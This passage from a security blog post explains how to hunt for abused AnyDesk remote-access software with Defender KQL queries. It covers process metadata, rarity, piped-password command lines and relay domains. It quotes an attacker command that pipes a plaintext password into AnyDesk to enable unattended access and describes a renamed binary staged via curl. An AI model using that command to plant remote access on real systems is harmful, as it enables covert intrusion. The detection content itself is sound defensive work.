| where FolderPath !startswith @"C:\Program Files"
| project Timestamp, DeviceName, AccountName, FileName, FolderPath,
          ProcessVersionInfoCompanyName, ProcessVersionInfoFileDescription,
          ProcessVersionInfoProductName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc</code></code></pre><p>In the lab this returned 35 events, and it caught both faces of the same tool: <code>Invoice_Viewer.exe</code> running from <code>...\AppData\Local\Temp\</code> and the untouched <code>AnyDesk.exe</code> from <code>C:\ProgramData\</code>, side by side, every row stamped &#8220;AnyDesk Software GmbH.&#8221;</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3Y6R!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3Y6R!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 424w, https://substackcdn.com/image/fetch/$s_!3Y6R!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 848w, https://substackcdn.com/image/fetch/$s_!3Y6R!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 1272w, https://substackcdn.com/image/fetch/$s_!3Y6R!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3Y6R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png" width="1261" height="898" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:898,&quot;width&quot;:1261,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:325909,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!3Y6R!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 424w, https://substackcdn.com/image/fetch/$s_!3Y6R!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 848w, https://substackcdn.com/image/fetch/$s_!3Y6R!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 1272w, https://substackcdn.com/image/fetch/$s_!3Y6R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>2. Rarity: how many hosts have ever run it</h3><p>Now narrow it to what is suspicious. A sanctioned RMM is deployed everywhere or nowhere; a planted one lands on one or two machines. So drop the path filter, widen to 30 days, <code>summarize</code> by filename, and keep only what ran on three hosts or fewer.</p><p>Two rows in my lab, <code>AnyDesk.exe</code> on one host and <code>Invoice_Viewer.exe</code> on one host, both well under the threshold. Prevalence beats signatures for RMM abuse: instead of matching a name, you are asking how many of your machines have ever run something carrying AnyDesk&#8217;s fingerprints, and a renamed copy on a single endpoint is the answer that should stop you.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YLZM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YLZM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 424w, https://substackcdn.com/image/fetch/$s_!YLZM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 848w, https://substackcdn.com/image/fetch/$s_!YLZM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 1272w, https://substackcdn.com/image/fetch/$s_!YLZM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YLZM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png" width="1341" height="572" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:572,&quot;width&quot;:1341,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:162855,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YLZM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 424w, https://substackcdn.com/image/fetch/$s_!YLZM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 848w, https://substackcdn.com/image/fetch/$s_!YLZM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 1272w, https://substackcdn.com/image/fetch/$s_!YLZM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>3. Behavior: the piped password</h3><p>Presence and rarity tell you AnyDesk is here and unusual. The next query is the highest-fidelity AnyDesk tell there is: the unattended-password setup from the last section. A person never produces it. Setting that password by hand is Settings &gt; Access &gt; Set password, which never touches the command line, so a piped <code>--set-password</code> is always something scripted.</p><pre><code><code>DeviceProcessEvents
| where Timestamp &gt; ago(1d)
| where ProcessCommandLine contains "--set-password"
    or (InitiatingProcessCommandLine contains "set-password"
        and InitiatingProcessCommandLine has "echo")
| project Timestamp, DeviceName, AccountName, FileName, FolderPath,
          ProcessVersionInfoCompanyName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp asc</code></code></pre><p>Six hits, and the command line is the evidence: <code>cmd.exe /c "echo Admin#123 | ...\AnyDesk.exe --set-password"</code>, the password sitting in plaintext. This one does not care about the rename, because it keys on the command line, not the file.</p><p>One caveat before you alert on it. AnyDesk documents this same piped command for <a href="https://support.anydesk.com/docs/command-line-interface-for-windows">mass deployment</a>, so baseline your own rollout first. The two look nothing alike:</p><ul><li><p><strong>Sanctioned rollout:</strong> many hosts inside one change window, parented by your deployment agent.</p></li><li><p><strong>Operator:</strong> one or two hosts, parented by <code>powershell.exe</code> into <code>cmd.exe</code>.</p></li><li><p><strong>No AnyDesk in your estate:</strong> nothing to baseline. This is your smoking gun.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mVQA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mVQA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 424w, https://substackcdn.com/image/fetch/$s_!mVQA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 848w, https://substackcdn.com/image/fetch/$s_!mVQA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 1272w, https://substackcdn.com/image/fetch/$s_!mVQA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mVQA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png" width="1456" height="623" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:623,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:244849,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mVQA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 424w, https://substackcdn.com/image/fetch/$s_!mVQA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 848w, https://substackcdn.com/image/fetch/$s_!mVQA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 1272w, https://substackcdn.com/image/fetch/$s_!mVQA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>4. Destination: it cannot rename the relay</h3><p>AnyDesk cannot rename its destination. An attacker can strip the PE metadata as well as rename the file, but every client still bootstraps to <code>boot.net.anydesk.com</code> and then a <code>relay-*.net.anydesk.com</code> server, and that is a fact about AnyDesk&#8217;s infrastructure, not about the binary the attacker controls.</p><p>So pivot to <code>DeviceNetworkEvents</code> and match <code>RemoteUrl endswith ".anydesk.com"</code>. In the lab the renamed <code>invoice_viewer.exe</code> lit up hitting <code>relay-*.net.anydesk.com</code> on 443, and the same match caught the stage before runtime: <code>curl.exe</code> pulling the payload from <code>download.anydesk.com</code>.</p><blockquote><p>Baseline <code>*.net.anydesk.com</code> across your fleet once. After that, any host reaching it that you did not sanction is a lead, even when the process name is a lie.</p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6NB-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6NB-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 424w, https://substackcdn.com/image/fetch/$s_!6NB-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 848w, https://substackcdn.com/image/fetch/$s_!6NB-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 1272w, https://substackcdn.com/image/fetch/$s_!6NB-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!6NB-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png" width="1456" height="521" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:521,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:218259,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!6NB-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 424w, https://substackcdn.com/image/fetch/$s_!6NB-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 848w, https://substackcdn.com/image/fetch/$s_!6NB-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 1272w, https://substackcdn.com/image/fetch/$s_!6NB-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>One query, the full chain: </em><code>curl.exe &#8594; download.anydesk.com</code><em>, then </em><code>invoice_viewer.exe</code><em> reaching </em><code>boot.net.anydesk.com</code><em> and </em><code>relay-*.net.anydesk.com</code><em>.</em></p><p>Four queries, four angles: identity, rarity, behavior, destination. Together they move you from &#8220;is AnyDesk here&#8221; to &#8220;it is here, on one box, with a password piped into it, calling an AnyDesk relay.&#8221; That is no longer a maybe.</p><p>All four are copy-pasteable in the hunt pack, so you do not have to retype them off a screenshot: <a href="https://github.com/Securityinbits/defender-hunt-queries/blob/main/anydesk.md">github.com/Securityinbits/defender-hunt-queries</a>.</p><h3>A faster first pass: SigmaHQ</h3><p>You do not have to run any of this cold. SigmaHQ ships AnyDesk rules that key on the same three rename-proof PE fields, so the community ruleset already survives the <code>Invoice_Viewer.exe</code> trick out of the box, and it is platform-independent. I loaded it into my lab&#8217;s SIEM and watched seven AnyDesk rules fire across both scenarios from the sections above:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!suCN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!suCN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 424w, https://substackcdn.com/image/fetch/$s_!suCN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 848w, https://substackcdn.com/image/fetch/$s_!suCN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 1272w, https://substackcdn.com/image/fetch/$s_!suCN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!suCN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png" width="1400" height="475" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:475,&quot;width&quot;:1400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:120541,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!suCN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 424w, https://substackcdn.com/image/fetch/$s_!suCN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 848w, https://substackcdn.com/image/fetch/$s_!suCN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 1272w, https://substackcdn.com/image/fetch/$s_!suCN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" 